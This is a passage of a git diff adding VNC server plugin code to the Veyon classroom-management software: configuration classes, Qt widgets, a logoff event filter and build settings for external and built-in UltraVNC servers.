FOREACH_EXTERNAL_VNC_SERVER_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setServerPort( int port ); + void setPassword( const QString& ); + +} ; + +#endif diff --git a/plugins/vncserver/external/ExternalVncServerConfigurationWidget.cpp b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.cpp new file mode 100644 index 0000000..ceb0252 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.cpp @@ -0,0 +1,54 @@ +/* + * ExternalVncServerConfigurationWidget.h - implementation of the ExternalVncServerConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Configuration/UiMapping.h" +#include "ExternalVncServerConfiguration.h" +#include "ExternalVncServerConfigurationWidget.h" + +#include "ui_ExternalVncServerConfigurationWidget.h" + +ExternalVncServerConfigurationWidget::ExternalVncServerConfigurationWidget( ExternalVncServerConfiguration& configuration, + QWidget* parent ) : + QWidget( parent), + ui( new Ui::ExternalVncServerConfigurationWidget ), + m_configuration( configuration ) +{ + ui->setupUi( this ); + + // sanitize configuration + if( m_configuration.serverPort() <= 0 ) + { + m_configuration.setServerPort( 5900 ); + } + + FOREACH_EXTERNAL_VNC_SERVER_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_EXTERNAL_VNC_SERVER_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +ExternalVncServerConfigurationWidget::~ExternalVncServerConfigurationWidget() +{ + delete ui; +} diff --git a/plugins/vncserver/external/ExternalVncServerConfigurationWidget.h b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.h new file mode 100644 index 0000000..e8a4ac8 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.h @@ -0,0 +1,50 @@ +/* + * ExternalVncServerConfigurationWidget.h - header for the ExternalVncServerConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef EXTERNAL_VNC_SERVER_CONFIGURATION_WIDGET_H +#define EXTERNAL_VNC_SERVER_CONFIGURATION_WIDGET_H + +#include + +namespace Ui { +class ExternalVncServerConfigurationWidget; +} + +class ExternalVncServerConfiguration; + +class ExternalVncServerConfigurationWidget : public QWidget +{ + Q_OBJECT + +public: + ExternalVncServerConfigurationWidget( ExternalVncServerConfiguration& configuration, QWidget* parent = nullptr ); + ~ExternalVncServerConfigurationWidget() override; + +private: + Ui::ExternalVncServerConfigurationWidget *ui; + ExternalVncServerConfiguration& m_configuration; + +}; + +#endif // EXTERNAL_VNC_SERVER_CONFIGURATION_WIDGET_H diff --git a/plugins/vncserver/external/ExternalVncServerConfigurationWidget.ui b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.ui new file mode 100644 index 0000000..fa18789 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServerConfigurationWidget.ui @@ -0,0 +1,59 @@ + + + ExternalVncServerConfigurationWidget + + + External VNC server configuration + + + + 0 + + + 0 + + + 0 + + + 0 + + + + + Port: + + + + + + + 1024 + + + 65535 + + + 5900 + + + + + + + Password: + + + + + + + QLineEdit::Password + + + + + + + + diff --git a/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.cpp b/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.cpp new file mode 100644 index 0000000..7bd43b0 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.cpp @@ -0,0 +1,224 @@ +/* + * BuiltinUltraVncServer.cpp - implementation of BuiltinUltraVncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "BuiltinUltraVncServer.h" +#include "LogoffEventFilter.h" +#include "UltraVncConfiguration.h" +#include "UltraVncConfigurationWidget.h" + +extern bool Myinit( HINSTANCE hInstance ); +extern int WinVNCAppMain(); + +static BuiltinUltraVncServer* vncServerInstance = nullptr; + +extern BOOL multi; +extern HINSTANCE hAppInstance; +extern DWORD mainthreadId; +extern HINSTANCE hInstResDLL; + + +void ultravnc_veyon_load_password( char* out, int size ) +{ + const auto password = vncServerInstance->password().toUtf8(); + + if( password.size() == size ) + { + memcpy( out, password.constData(), size ); // Flawfinder: ignore + } + else + { + qFatal( "Requested password too short!"); + } +} + + + +BOOL ultravnc_veyon_load_int( LPCSTR valname, LONG *out ) +{ + if( strcmp( valname, "LoopbackOnly" ) == 0 ) + { + *out = 1; + return true; + } + if( strcmp( valname, "DisableTrayIcon" ) == 0 ) + { + *out = 1; + return true; + } + if( strcmp( valname, "AuthRequired" ) == 0 ) + { + *out = 1; + return true; + } + if( strcmp( valname, "CaptureAlphaBlending" ) == 0 ) + { + *out = vncServerInstance->configuration().ultraVncCaptureLayeredWindows() ? 1 : 0; + return true; + } + if( strcmp( valname, "PollFullScreen" ) == 0 ) + { + *out = vncServerInstance->configuration().ultraVncPollFullScreen() ? 1 : 0; + return true; + } + if( strcmp( valname, "TurboMode" ) == 0 ) + { + *out = vncServerInstance->configuration().ultraVncLowAccuracy() ? 1 : 0; + return true; + } + if( strcmp( valname, "DeskDupEngine" ) == 0 ) + { + *out = vncServerInstance->configuration().ultraVncDeskDupEngineEnabled() ? 1 : 0; + return true; + } + if( strcmp( valname, "NewMSLogon" ) == 0 ) + { + *out = 0; + return true; + } + if( strcmp( valname, "MSLogonRequired" ) == 0 ) + { + *out = 0; + return true; + } + if( strcmp( valname, "RemoveWallpaper" ) == 0 ) + { + *out = 0; + return true; + } + if( strcmp( valname, "FileTransferEnabled" ) == 0 ) + { + *out = 0; + return true; + } + if( strcmp( valname, "AllowLoopback" ) == 0 ) + { + *out = 1; + return true; + } + if( strcmp( valname, "AutoPortSelect" ) == 0 ) + { + *out = 0; + return true; + } + + if( strcmp( valname, "HTTPConnect" ) == 0 ) + { + *out = 0; + return true; + } + + if( strcmp( valname, "PortNumber" ) == 0 ) + { + *out = vncServerInstance->serverPort(); + return true; + } + + if( strcmp( valname, "secondary" ) == 0 ) + { + *out = vncServerInstance->configuration().ultraVncMultiMonitorSupportEnabled(); + return true; + } + + if( strcmp( valname, "autocapt" ) == 0 ) + { + *out = 0; + return true; + } + + return false; +} + + + +BuiltinUltraVncServer::BuiltinUltraVncServer() : + m_configuration(), + m_logoffEventFilter( nullptr ) +{ + vncServerInstance = this; +} + + + +BuiltinUltraVncServer::~BuiltinUltraVncServer() +{ + if( m_logoffEventFilter ) + { + delete m_logoffEventFilter; + } + + vncServerInstance = nullptr; +} + + + +QWidget* BuiltinUltraVncServer::configurationWidget() +{ + return new UltraVncConfigurationWidget( m_configuration ); +} + + + +void BuiltinUltraVncServer::prepareServer() +{ + // initialize global instance handler and main thread ID + hAppInstance = GetModuleHandle( nullptr ); + mainthreadId = GetCurrentThreadId(); + + hInstResDLL = hAppInstance; + + m_logoffEventFilter = new LogoffEventFilter; +} + + + +void BuiltinUltraVncServer::runServer( int serverPort, const QString& password ) +{ + m_serverPort = serverPort; + m_password = password; + + // only allow multiple instances when explicitely working with multiple + // service instances + if( VeyonCore::hasSessionId() ) + { + multi = true; + } + + // run winvnc-server + HMODULE hUser32 = LoadLibrary( "user32.dll" ); + typedef BOOL (*SetProcessDPIAwareFunc)(); + SetProcessDPIAwareFunc setDPIAware=NULL; + if( hUser32 ) + { + setDPIAware = (SetProcessDPIAwareFunc) GetProcAddress( hUser32, "SetProcessDPIAware" ); + if( setDPIAware ) + { + setDPIAware(); + } + FreeLibrary( hUser32 ); + } + + WinVNCAppMain(); +} diff --git a/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.h b/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.h new file mode 100644 index 0000000..a68cdfe --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.h @@ -0,0 +1,118 @@ +/* + * BuiltinUltraVncServer.h - declaration of BuiltinUltraVncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_ULTRAVNC_SERVER_H +#define BUILTIN_ULTRAVNC_SERVER_H + +#include "UltraVncConfiguration.h" +#include "VncServerPluginInterface.h" + +class LogoffEventFilter; + +class BuiltinUltraVncServer : public QObject, VncServerPluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.BuiltinUltraVncServer") + Q_INTERFACES(PluginInterface VncServerPluginInterface) +public: + BuiltinUltraVncServer(); + virtual ~BuiltinUltraVncServer(); + + Plugin::Uid uid() const override + { + return QStringLiteral("39d7a07f-94db-4912-aa1a-c4df8aee3879"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "BuiltinUltraVncServer" ); + } + + QString description() const override + { + return tr( "Builtin VNC server (UltraVNC)" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::ProvidesDefaultImplementation; + } + + QWidget* configurationWidget() override; + + void prepareServer() override; + + void runServer( int serverPort, const QString& password ) override; + + int configuredServerPort() override + { + return -1; + } + + QString configuredPassword() override + { + return QString(); + } + + const UltraVncConfiguration& configuration() const + { + return m_configuration; + } + + int serverPort() const + { + return m_serverPort; + } + + const QString& password() const + { + return m_password; + } + +private: + UltraVncConfiguration m_configuration; + + int m_serverPort; + QString m_password; + + LogoffEventFilter* m_logoffEventFilter; + +}; + +#endif // BUILTIN_ULTRAVNC_SERVER_H diff --git a/plugins/vncserver/ultravnc-builtin/CMakeLists.txt b/plugins/vncserver/ultravnc-builtin/CMakeLists.txt new file mode 100644 index 0000000..d53e009 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/CMakeLists.txt @@ -0,0 +1,92 @@ +ADD_SUBDIRECTORY(vnchooks) + +INCLUDE(BuildPlugin) + +INCLUDE_DIRECTORIES( + ${ultravnc_DIR} + ${ultravnc_DIR}/winvnc + ${ultravnc_DIR}/winvnc/omnithread + ${ultravnc_DIR}/winvnc/winvnc + ) + +SET(ultravnc_SOURCES + ${ultravnc_DIR}/winvnc/winvnc/HideDesktop.cpp + ${ultravnc_DIR}/winvnc/winvnc/rfbRegion_win32.cpp + ${ultravnc_DIR}/winvnc/winvnc/vistahook.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncdesktopthread.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncdesktopsink.cpp + ${ultravnc_DIR}/winvnc/winvnc/IPC.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencoderre.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncdesktop.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncserver.cpp + ${ultravnc_DIR}/winvnc/winvnc/rfbUpdateTracker.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencodehext.cpp + ${ultravnc_DIR}/winvnc/winvnc/d3des.c + ${ultravnc_DIR}/winvnc/winvnc/vncproperties.cpp + ${ultravnc_DIR}/winvnc/winvnc/security.cpp + ${ultravnc_DIR}/winvnc/winvnc/buildtime.cpp + ${ultravnc_DIR}/winvnc/winvnc/Timer.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencoderCursor.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencoder.cpp + ${ultravnc_DIR}/winvnc/winvnc/vnclog.cpp + ${ultravnc_DIR}/winvnc/winvnc/translate.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencodecorre.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncencodezrle.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncEncodeTight.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncservice.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncMultiMonitor.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncbuffer.cpp + ${ultravnc_DIR}/winvnc/winvnc/videodrivercheck.cpp + ${ultravnc_DIR}/winvnc/winvnc/videodriver.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncDesktopSW.cpp + ${ultravnc_DIR}/winvnc/winvnc/vnckeymap.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncOSVersion.cpp + ${ultravnc_DIR}/winvnc/winvnc/winvnc.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncauth.c + ${ultravnc_DIR}/winvnc/winvnc/stdhdrs.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncEncodeUltra.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncEncodeUltra2.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncsockconnect.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncinsthandler.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncEncodeZlib.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncEncodeZlibHex.cpp + ${ultravnc_DIR}/winvnc/winvnc/vncpropertiesPoll.cpp + ${ultravnc_DIR}/winvnc/winvnc/helpers.cpp + ${ultravnc_DIR}/winvnc/winvnc/CpuUsage.cpp + ${ultravnc_DIR}/winvnc/winvnc/uvncUiAccess.cpp + ${ultravnc_DIR}/winvnc/winvnc/ScreenCapture.cpp + ${ultravnc_DIR}/winvnc/winvnc/DeskdupEngine.cpp + ${ultravnc_DIR}/winvnc/winvnc/vsocket.cpp + ${ultravnc_DIR}/winvnc/omnithread/nt.cpp + ${ultravnc_DIR}/common/Clipboard.cpp + ${ultravnc_DIR}/common/win32_helpers.cpp + ${ultravnc_DIR}/rfb/dh.cpp + ${ultravnc_DIR}/rdr/ZlibOutStream.cxx + ${ultravnc_DIR}/rdr/ZlibInStream.cxx + ultravnc.cpp + vncntlm.cpp + ) + +ADD_DEFINITIONS(-DULTRAVNC_VEYON_SUPPORT -D_INTERNALLIB -D_WIN32_WINNT=0x0600) + +IF(VEYON_BUILD_WIN64) + ADD_DEFINITIONS(-D_X64) +ENDIF(VEYON_BUILD_WIN64) + + +BUILD_PLUGIN(builtin-ultravnc-server + BuiltinUltraVncServer.cpp + LogoffEventFilter.cpp + UltraVncConfiguration.cpp + UltraVncConfigurationWidget.cpp + ${ultravnc_SOURCES} + MOCFILES + BuiltinUltraVncServer.h + LogoffEventFilter.h + UltraVncConfigurationWidget.h + UltraVncConfiguration.h + FORMS UltraVncConfigurationWidget.ui) + +TARGET_LINK_LIBRARIES(builtin-ultravnc-server -luserenv -lole32 -lversion -lgdi32 -limm32 -lwinmm) +SET_SOURCE_FILES_PROPERTIES(${ultravnc_SOURCES} PROPERTIES COMPILE_FLAGS "-Wno-comments -Wno-attributes -Wno-terminate -Wno-write-strings -Wno-parentheses -Wno-misleading-indentation -Wno-unused-result -Wno-unused-label -Wno-unknown-pragmas -Wno-unused-variable -Wno-unused-but-set-variable -Wno-deprecated-declarations -Wno-conversion-null -Wno-format-zero-length -Wno-sign-compare -fexceptions") +COTIRE_VEYON(builtin-ultravnc-server) diff --git a/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.cpp b/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.cpp new file mode 100644 index 0000000..88dd59c --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.cpp @@ -0,0 +1,70 @@ +/* + * LogoffEventFilter.cpp - implementation of LogoffEventFilter class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "LogoffEventFilter.h" + +LogoffEventFilter::LogoffEventFilter() : + m_shutdownEventHandle( OpenEvent( EVENT_ALL_ACCESS, false, "Global\\SessionEventUltra" ) ) +{ + if( m_shutdownEventHandle == nullptr ) + { + // no global event available already as we're not running under the + // control of the veyon service supervisor? + if( GetLastError() == ERROR_FILE_NOT_FOUND ) + { + qWarning( "Creating session event" ); + // then create our own event as otherwise the VNC server main loop + // will eat 100% CPU due to failing WaitForSingleObject() calls + m_shutdownEventHandle = CreateEvent( nullptr, false, false, "Global\\SessionEventUltra" ); + } + else + { + qWarning( "Could not open or create session event" ); + } + } + + QCoreApplication::instance()->installNativeEventFilter( this ); +} + + + +bool LogoffEventFilter::nativeEventFilter( const QByteArray& eventType, void* message, long* result ) +{ + Q_UNUSED(eventType); + Q_UNUSED(result); + + DWORD winMsg = ( ( MSG *) message )->message; + + if( winMsg == WM_QUERYENDSESSION ) + { + qInfo( "Got WM_QUERYENDSESSION - initiating server shutdown" ); + + // tell UltraVNC server to quit + SetEvent( m_shutdownEventHandle ); + } + + return false; +} diff --git a/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.h b/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.h new file mode 100644 index 0000000..5702ea2 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/LogoffEventFilter.h @@ -0,0 +1,45 @@ +/* + * LogoffEventFilter.h - declaration of LogoffEventFilter class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LOGOFF_EVENT_FILTER_H +#define LOGOFF_EVENT_FILTER_H + +#include + +#include + +// event filter which makes ICA recognize logoff events etc. +class LogoffEventFilter : public QAbstractNativeEventFilter +{ +public: + LogoffEventFilter(); + + bool nativeEventFilter( const QByteArray& eventType, void* message, long* result) override; + +private: + HANDLE m_shutdownEventHandle; + +}; + +#endif // LOGOFF_EVENT_FILTER_H diff --git a/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.cpp b/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.cpp new file mode 100644 index 0000000..faaf7f3 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.cpp @@ -0,0 +1,45 @@ +/* + * UltraVncConfiguration.cpp - UltraVNC-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "UltraVncConfiguration.h" + + +UltraVncConfiguration::UltraVncConfiguration() : + Configuration::Proxy( &VeyonCore::config() ) +{ + if( isUltraVncConfigured() == false ) + { + setUltraVncCaptureLayeredWindows( true ); + setUltraVncPollFullScreen( true ); + setUltraVncLowAccuracy( true ); + setUltraVncDeskDupEngineEnabled( true ); + + setUltraVncConfigured( true ); + } +} + + +FOREACH_ULTRAVNC_CONFIG_INIT_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) +FOREACH_ULTRAVNC_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.h b/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.h new file mode 100644 index 0000000..49759ef --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.h @@ -0,0 +1,59 @@ +/* + * UltraVncConfiguration.h - UltraVNC-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ULTRAVNC_CONFIGURATION_H +#define ULTRAVNC_CONFIGURATION_H + +#include "Configuration/Proxy.h" + +#define FOREACH_ULTRAVNC_CONFIG_INIT_PROPERTY(OP) \ + OP( UltraVncConfiguration, m_configuration, BOOL, isUltraVncConfigured, setUltraVncConfigured, "Configured", "UltraVNC" ); + +#define FOREACH_ULTRAVNC_CONFIG_PROPERTY(OP) \ + OP( UltraVncConfiguration, m_configuration, BOOL, ultraVncCaptureLayeredWindows, setUltraVncCaptureLayeredWindows, "CaptureLayeredWindows", "UltraVNC" ); \ + OP( UltraVncConfiguration, m_configuration, BOOL, ultraVncMultiMonitorSupportEnabled, setUltraVncMultiMonitorSupportEnabled, "DualMonitorSupportEnabled", "UltraVNC" ); \ + OP( UltraVncConfiguration, m_configuration, BOOL, ultraVncPollFullScreen, setUltraVncPollFullScreen, "PollFullScreen", "UltraVNC" ); \ + OP( UltraVncConfiguration, m_configuration, BOOL, ultraVncLowAccuracy, setUltraVncLowAccuracy, "LowAccuracy", "UltraVNC" ); \ + OP( UltraVncConfiguration, m_configuration, BOOL, ultraVncDeskDupEngineEnabled, setUltraVncDeskDupEngineEnabled, "DeskDupEngine", "UltraVNC" ); \ + +class UltraVncConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + UltraVncConfiguration(); + + FOREACH_ULTRAVNC_CONFIG_INIT_PROPERTY(DECLARE_CONFIG_PROPERTY) + FOREACH_ULTRAVNC_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setUltraVncConfigured( bool ); + void setUltraVncCaptureLayeredWindows( bool ); + void setUltraVncMultiMonitorSupportEnabled( bool ); + void setUltraVncPollFullScreen( bool ); + void setUltraVncLowAccuracy( bool ); + void setUltraVncDeskDupEngineEnabled( bool ); + +} ; + +#endif diff --git a/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.cpp b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.cpp new file mode 100644 index 0000000..698240e --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.cpp @@ -0,0 +1,47 @@ +/* + * UltraVncConfigurationWidget.h - implementation of the UltraVncConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Configuration/UiMapping.h" +#include "UltraVncConfiguration.h" +#include "UltraVncConfigurationWidget.h" + +#include "ui_UltraVncConfigurationWidget.h" + +UltraVncConfigurationWidget::UltraVncConfigurationWidget( UltraVncConfiguration& configuration ) : + QWidget(), + ui( new Ui::UltraVncConfigurationWidget ), + m_configuration( configuration ) +{ + ui->setupUi( this ); + + FOREACH_ULTRAVNC_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_ULTRAVNC_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +UltraVncConfigurationWidget::~UltraVncConfigurationWidget() +{ + delete ui; +} diff --git a/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.h b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.h new file mode 100644 index 0000000..56f4ed5 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.h @@ -0,0 +1,50 @@ +/* + * UltraVncConfigurationWidget.h - header for the UltraVncConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ULTRAVNC_CONFIGURATION_WIDGET_H +#define ULTRAVNC_CONFIGURATION_WIDGET_H + +#include + +namespace Ui { +class UltraVncConfigurationWidget; +} + +class UltraVncConfiguration; + +class UltraVncConfigurationWidget : public QWidget +{ + Q_OBJECT + +public: + UltraVncConfigurationWidget( UltraVncConfiguration& configuration ); + ~UltraVncConfigurationWidget(); + +private: + Ui::UltraVncConfigurationWidget *ui; + UltraVncConfiguration& m_configuration; + +}; + +#endif // ULTRAVNC_CONFIGURATION_WIDGET_H diff --git a/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.ui b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.ui new file mode 100644 index 0000000..a219d30 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.ui @@ -0,0 +1,67 @@ + + + UltraVncConfigurationWidget + + + Builtin UltraVNC server configuration + + + + 0 + + + 0 + + + 0 + + + 0 + + + + + Poll full screen (leave this enabled per default) + + + + + + + Enable multi monitor support + + + + + + + Enable capturing of layered (semi-transparent) windows + + + + + + + Low accuracy (turbo mode) + + + + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + + + ultraVncCaptureLayeredWindows + ultraVncMultiMonitorSupportEnabled + ultraVncPollFullScreen + ultraVncDeskDupEngineEnabled + ultraVncLowAccuracy + + + + diff --git a/plugins/vncserver/ultravnc-builtin/ultravnc-rfbproto.h b/plugins/vncserver/ultravnc-builtin/ultravnc-rfbproto.h new file mode 100644 index 0000000..231101a --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/ultravnc-rfbproto.h @@ -0,0 +1,93 @@ +#ifndef ULTRAVNC_RFB_PROTO_H +#define ULTRAVNC_RFB_PROTO_H + +#define KEEPALIVE_HEADROOM 1 +#define KEEPALIVE_INTERVAL 5 +#define FT_RECV_TIMEOUT 30 + +// adzm 2010-08 +#define SOCKET_KEEPALIVE_TIMEOUT 10000 +#define SOCKET_KEEPALIVE_INTERVAL 1000 + +#define rfbEncodingUltra2 10 + +// adzm - 